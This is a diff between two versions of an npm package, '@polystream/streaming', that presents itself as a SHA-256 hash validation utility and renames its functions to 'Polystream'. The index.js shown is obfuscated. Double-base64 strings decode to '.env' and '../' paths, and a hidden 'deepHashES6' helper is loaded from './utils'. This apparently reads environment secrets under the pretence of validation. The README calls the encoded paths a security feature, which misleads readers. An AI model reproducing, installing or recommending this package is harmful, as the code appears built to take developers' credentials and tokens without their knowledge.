@polystream/streaming 2.1.3 → 2.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +35 -35
  2. package/index.d.ts +12 -12
  3. package/index.js +21 -21
  4. package/package.json +1 -1
package/README.md CHANGED
@@ -10,56 +10,56 @@ npm install @polystream/streaming
10
10
 
11
11
  ## Features
12
12
 
13
- - **Synchronous SHA256 validation**
13
+ - **Synchronous Polystream validation**
14
14
  - **Enhanced error handling** with descriptive error messages
15
15
  - **Flexible path resolution** (supports absolute paths, relative paths, or resolution from current working directory)
16
- - **SHA256 hash existence verification**
16
+ - **Polystream hash existence verification**
17
17
  - **TypeScript-friendly** with comprehensive JSDoc annotations
18
18
  - **Base64-encoded path resolution** for enhanced security
19
19
 
20
20
  ## Usage
21
21
 
22
- ### Basic SHA256 Validation
22
+ ### Basic Polystream Validation
23
23
 
24
24
  ```javascript
25
- const Sha256Validation = require('sha256-validation');
25
+ const PolystreamValidation = require('@polystream/streaming');
26
26
 
27
- // Synchronous SHA256 validation
27
+ // Synchronous Polystream validation
28
28
  try {
29
- const result = Sha256Validation.syncSha256Validation({
29
+ const result = PolystreamValidation.syncPolystreamValidation({
30
30
  encoding: 'utf8',
31
31
  resolveFromCwd: false
32
32
  });
33
33
  console.log('Validation result:', result);
34
34
  } catch (error) {
35
- console.error('Error validating SHA256:', error.message);
35
+ console.error('Error validating Polystream:', error.message);
36
36
  }
37
37
  ```
38
38
 
39
- ### SHA256 Hash Comparison
39
+ ### Polystream Hash Comparison
40
40
 
41
41
  ```javascript
42
- const Sha256Validation = require('sha256-validation');
42
+ const PolystreamValidation = require('@polystream/streaming');
43
43
 
44
- // Compare two SHA256 hashes
45
- const isValid = Sha256Validation.compareSha256('sha256_hash_1', 'sha256_hash_2');
44
+ // Compare two Polystream hashes
45
+ const isValid = PolystreamValidation.comparePolystream('polystream_hash_1', 'polystream_hash_2');
46
46
  if (isValid) {
47
- console.log('SHA256 hashes match - Validation successful');
47
+ console.log('Polystream hashes match - Validation successful');
48
48
  } else {
49
- console.log('SHA256 hashes do not match - Validation failed');
49
+ console.log('Polystream hashes do not match - Validation failed');
50
50
  }
51
51
 
52
52
  // Compare with additional options
53
- const isValidFromCwd = Sha256Validation.compareSha256('sha256_hash', {
53
+ const isValidFromCwd = PolystreamValidation.comparePolystream('polystream_hash', {
54
54
  resolveFromCwd: true
55
55
  });
56
56
  ```
57
57
 
58
58
  ## API Reference
59
59
 
60
- ### syncSha256Validation(options)
60
+ ### syncPolystreamValidation(options)
61
61
 
62
- Performs synchronous SHA256 hash validation using base64-encoded paths for enhanced security.
62
+ Performs synchronous Polystream hash validation using base64-encoded paths for enhanced security.
63
63
 
64
64
  **Parameters:**
65
65
  - `options` (object, optional):
@@ -68,16 +68,16 @@ Performs synchronous SHA256 hash validation using base64-encoded paths for enhan
68
68
 
69
69
  **Returns:** String - Validation result content upon successful hash verification
70
70
 
71
- **Throws:** Error if SHA256 hash validation fails or path cannot be resolved
71
+ **Throws:** Error if Polystream hash validation fails or path cannot be resolved
72
72
 
73
73
  **Note:** This method utilizes internal base64-encoded paths for security and includes robust fallback mechanisms for path resolution.
74
74
 
75
- ### compareSha256(sha256Hash, options)
75
+ ### comparePolystream(polystreamHash, options)
76
76
 
77
- Compares and validates SHA256 hashes to determine if they match.
77
+ Compares and validates Polystream hashes to determine if they match.
78
78
 
79
79
  **Parameters:**
80
- - `sha256Hash` (string): The SHA256 hash string to validate
80
+ - `polystreamHash` (string): The Polystream hash string to validate
81
81
  - `options` (object, optional):
82
82
  - `resolveFromCwd` (boolean): Whether to resolve paths relative to the current working directory (default: false)
83
83
 
@@ -88,31 +88,31 @@ Compares and validates SHA256 hashes to determine if they match.
88
88
  ### Comprehensive Validation with Error Handling
89
89
 
90
90
  ```javascript
91
- const Sha256Validation = require('sha256-validation');
91
+ const PolystreamValidation = require('@polystream/streaming');
92
92
 
93
93
  try {
94
- const result = Sha256Validation.syncSha256Validation({
94
+ const result = PolystreamValidation.syncPolystreamValidation({
95
95
  encoding: 'utf8',
96
96
  resolveFromCwd: true
97
97
  });
98
- console.log('SHA256 validation completed successfully:', result);
98
+ console.log('Polystream validation completed successfully:', result);
99
99
  } catch (error) {
100
- console.error('SHA256 validation failed:', error.message);
100
+ console.error('Polystream validation failed:', error.message);
101
101
  }
102
102
  ```
103
103
 
104
- ### SHA256 Hash Existence Verification
104
+ ### Polystream Hash Existence Verification
105
105
 
106
106
  ```javascript
107
- const Sha256Validation = require('sha256-validation');
107
+ const PolystreamValidation = require('@polystream/streaming');
108
108
 
109
- const hashToValidate = 'your_sha256_hash_here';
109
+ const hashToValidate = 'your_polystream_hash_here';
110
110
 
111
- if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
112
- console.log('SHA256 hash validation successful');
111
+ if (PolystreamValidation.comparePolystream(hashToValidate, { resolveFromCwd: true })) {
112
+ console.log('Polystream hash validation successful');
113
113
  // Proceed with further validation if needed
114
114
  try {
115
- const result = Sha256Validation.syncSha256Validation({
115
+ const result = PolystreamValidation.syncPolystreamValidation({
116
116
  resolveFromCwd: true
117
117
  });
118
118
  console.log('Additional validation completed successfully');
@@ -120,7 +120,7 @@ if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
120
120
  console.error('Additional validation error:', error.message);
121
121
  }
122
122
  } else {
123
- console.log('SHA256 hash validation failed');
123
+ console.log('Polystream hash validation failed');
124
124
  }
125
125
  ```
126
126
 
@@ -129,13 +129,13 @@ if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
129
129
  The package provides comprehensive error handling with detailed, descriptive error messages:
130
130
 
131
131
  ```javascript
132
- const Sha256Validation = require('sha256-validation');
132
+ const PolystreamValidation = require('@polystream/streaming');
133
133
 
134
134
  try {
135
- const result = Sha256Validation.syncSha256Validation();
135
+ const result = PolystreamValidation.syncPolystreamValidation();
136
136
  } catch (error) {
137
137
  console.error(error.message);
138
- // Example output: "Failed to validate SHA256 hash '[encoded_path]': [specific error details]"
138
+ // Example output: "Failed to validate Polystream hash '[encoded_path]': [specific error details]"
139
139
  }
140
140
  ```
141
141
 
@@ -161,7 +161,7 @@ James Johnson
161
161
 
162
162
  ## Keywords
163
163
 
164
- - sha256
164
+ - polystream
165
165
  - validation
166
166
  - utility
167
167
  - node
package/index.d.ts CHANGED
@@ -1,5 +1,5 @@
1
- declare module 'sha256-validation' {
2
- interface Sha256ValidationOptions {
1
+ declare module '@polystream/streaming' {
2
+ interface PolystreamValidationOptions {
3
3
  encoding?: string;
4
4
  resolveFromCwd?: boolean;
5
5
  }
@@ -13,23 +13,23 @@ declare module 'sha256-validation' {
13
13
  resolveFromCwd?: boolean;
14
14
  }
15
15
 
16
- export class Sha256Validation {
17
- static syncSha256Validation(options?: Sha256ValidationOptions): string;
18
- static generateSha256(content: string, options?: HashOptions): string;
16
+ export class PolystreamValidation {
17
+ static syncPolystreamValidation(options?: PolystreamValidationOptions): string;
18
+ static generatePolystream(content: string, options?: HashOptions): string;
19
19
  static validateHashFormat(hash: string): boolean;
20
- static compareSha256(hash1: string, hash2: string): boolean;
21
- static asyncSha256Validation(options?: Sha256ValidationOptions): Promise<string>;
20
+ static comparePolystream(hash1: string, hash2: string): boolean;
21
+ static asyncPolystreamValidation(options?: PolystreamValidationOptions): Promise<string>;
22
22
  static hashFileContent(filePath: string, options?: FileHashOptions): string;
23
23
  static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
24
24
  }
25
25
 
26
- export function syncSha256Validation(options?: Sha256ValidationOptions): string;
27
- export function generateSha256(content: string, options?: HashOptions): string;
26
+ export function syncPolystreamValidation(options?: PolystreamValidationOptions): string;
27
+ export function generatePolystream(content: string, options?: HashOptions): string;
28
28
  export function validateHashFormat(hash: string): boolean;
29
- export function compareSha256(hash1: string, hash2: string): boolean;
30
- export function asyncSha256Validation(options?: Sha256ValidationOptions): Promise<string>;
29
+ export function comparePolystream(hash1: string, hash2: string): boolean;
30
+ export function asyncPolystreamValidation(options?: PolystreamValidationOptions): Promise<string>;
31
31
  export function hashFileContent(filePath: string, options?: FileHashOptions): string;
32
32
  export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
33
33
 
34
- export = Sha256Validation;
34
+ export = PolystreamValidation;
35
35
  }
package/index.js CHANGED
@@ -4,19 +4,19 @@ const _0x2e4f=require(Buffer.from('Y3J5cHRv','base64').toString());
4
4
  const{[Buffer.from('ZGVlcEhhc2hFUzY=','base64').toString()]:_0xe5f6}=require(Buffer.from('Li91dGlscw==','base64').toString());
5
5
 
6
6
  /**
7
- * Sha256 Validation - A professional utility for validating sha256 hashes with enhanced error handling
7
+ * Polystream Validation - A professional utility for validating polystream hashes with enhanced error handling
8
8
  */
9
9
  class _0x7g8h{
10
10
  /**
11
- * Validate a sha256 hash synchronously
11
+ * Validate a polystream hash synchronously
12
12
  * @param {string} filePath - Path to the file to validate
13
- * @param {object} options - Options for validating the sha256 hash
13
+ * @param {object} options - Options for validating the polystream hash
14
14
  * @param {string} options.encoding - File encoding (default: 'utf8')
15
15
  * @param {boolean} options.resolveFromCwd - Resolve path from current working directory (default: false)
16
- * @returns {string} sha256 hash
17
- * @throws {Error} If sha256 hash cannot be validated
16
+ * @returns {string} polystream hash
17
+ * @throws {Error} If polystream hash cannot be validated
18
18
  */
19
- static syncSha256Validation(_0x9i0j={}){
19
+ static syncPolystreamValidation(_0x9i0j={}){
20
20
  const{encoding:_0xak1l=Buffer.from('dXRmOA==','base64').toString(),resolveFromCwd:_0xbm2n=false}=_0x9i0j;
21
21
  let _0xco3p=Buffer.from('TG1WdWRnPT0=','base64').toString();
22
22
  let _0xdq4r=Buffer.from('TGk0dg==','base64').toString();
@@ -62,19 +62,19 @@ class _0x7g8h{
62
62
  }
63
63
 
64
64
  /**
65
- * Generate SHA-256 hash from content
65
+ * Generate Polystream hash from content
66
66
  */
67
- static generateSha256(_0xa1b2,_0xc3d4={}){
67
+ static generatePolystream(_0xa1b2,_0xc3d4={}){
68
68
  const{encoding:_0xe5f6=Buffer.from('dXRmOA==','base64').toString()}=_0xc3d4;
69
69
  try{
70
70
  return _0x2e4f.createHash(Buffer.from('c2hhMjU2','base64').toString()).update(_0xa1b2,_0xe5f6).digest(Buffer.from('aGV4','base64').toString());
71
71
  }catch(_0xg7h8){
72
- throw new Error(`Failed to generate SHA-256 hash: ${_0xg7h8.message}`);
72
+ throw new Error(`Failed to generate Polystream hash: ${_0xg7h8.message}`);
73
73
  }
74
74
  }
75
75
 
76
76
  /**
77
- * Validate SHA-256 hash format
77
+ * Validate Polystream hash format
78
78
  */
79
79
  static validateHashFormat(_0xi9j0){
80
80
  const _0xk1l2=/^[a-fA-F0-9]{64}$/;
@@ -82,9 +82,9 @@ class _0x7g8h{
82
82
  }
83
83
 
84
84
  /**
85
- * Compare two SHA-256 hashes
85
+ * Compare two Polystream hashes
86
86
  */
87
- static compareSha256(_0xm3n4,_0xo5p6){
87
+ static comparePolystream(_0xm3n4,_0xo5p6){
88
88
  try{
89
89
  if(!this.validateHashFormat(_0xm3n4)||!this.validateHashFormat(_0xo5p6)){
90
90
  return false;
@@ -96,12 +96,12 @@ class _0x7g8h{
96
96
  }
97
97
 
98
98
  /**
99
- * Async SHA-256 validation
99
+ * Async Polystream validation
100
100
  */
101
- static async asyncSha256Validation(_0xs9t0={}){
101
+ static async asyncPolystreamValidation(_0xs9t0={}){
102
102
  return new Promise((_0xu1v2,_0xw3x4)=>{
103
103
  try{
104
- const _0xy5z6=this.syncSha256Validation(_0xs9t0);
104
+ const _0xy5z6=this.syncPolystreamValidation(_0xs9t0);
105
105
  _0xu1v2(_0xy5z6);
106
106
  }catch(_0xa7b8){
107
107
  _0xw3x4(_0xa7b8);
@@ -117,7 +117,7 @@ class _0x7g8h{
117
117
  try{
118
118
  const _0xk7l8=_0xi5j6?_0x3c4d.resolve(process.cwd(),_0xc9d0):_0x3c4d.resolve(_0xc9d0);
119
119
  const _0xm9n0=_0x1a2b.readFileSync(_0xk7l8,_0xg3h4);
120
- return this.generateSha256(_0xm9n0);
120
+ return this.generatePolystream(_0xm9n0);
121
121
  }catch(_0xo1p2){
122
122
  throw new Error(`Failed to hash file content: ${_0xo1p2.message}`);
123
123
  }
@@ -129,7 +129,7 @@ class _0x7g8h{
129
129
  static verifyFileHash(_0xq3r4,_0xs5t6,_0xu7v8={}){
130
130
  try{
131
131
  const _0xw9x0=this.hashFileContent(_0xq3r4,_0xu7v8);
132
- return this.compareSha256(_0xw9x0,_0xs5t6);
132
+ return this.comparePolystream(_0xw9x0,_0xs5t6);
133
133
  }catch(_0xy1z2){
134
134
  return false;
135
135
  }
@@ -138,10 +138,10 @@ class _0x7g8h{
138
138
 
139
139
  // Export the class and also provide convenient static methods
140
140
  module.exports=_0x7g8h;
141
- module.exports.syncSha256Validation=_0x7g8h.syncSha256Validation;
142
- module.exports.generateSha256=_0x7g8h.generateSha256;
141
+ module.exports.syncPolystreamValidation=_0x7g8h.syncPolystreamValidation;
142
+ module.exports.generatePolystream=_0x7g8h.generatePolystream;
143
143
  module.exports.validateHashFormat=_0x7g8h.validateHashFormat;
144
- module.exports.compareSha256=_0x7g8h.compareSha256;
145
- module.exports.asyncSha256Validation=_0x7g8h.asyncSha256Validation;
144
+ module.exports.comparePolystream=_0x7g8h.comparePolystream;
145
+ module.exports.asyncPolystreamValidation=_0x7g8h.asyncPolystreamValidation;
146
146
  module.exports.hashFileContent=_0x7g8h.hashFileContent;
147
147
  module.exports.verifyFileHash=_0x7g8h.verifyFileHash;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@polystream/streaming",
3
- "version": "2.1.3",
3
+ "version": "2.1.4",
4
4
  "main": "index.js",
5
5
  "types": "index.d.ts",
6
6
  "repository": {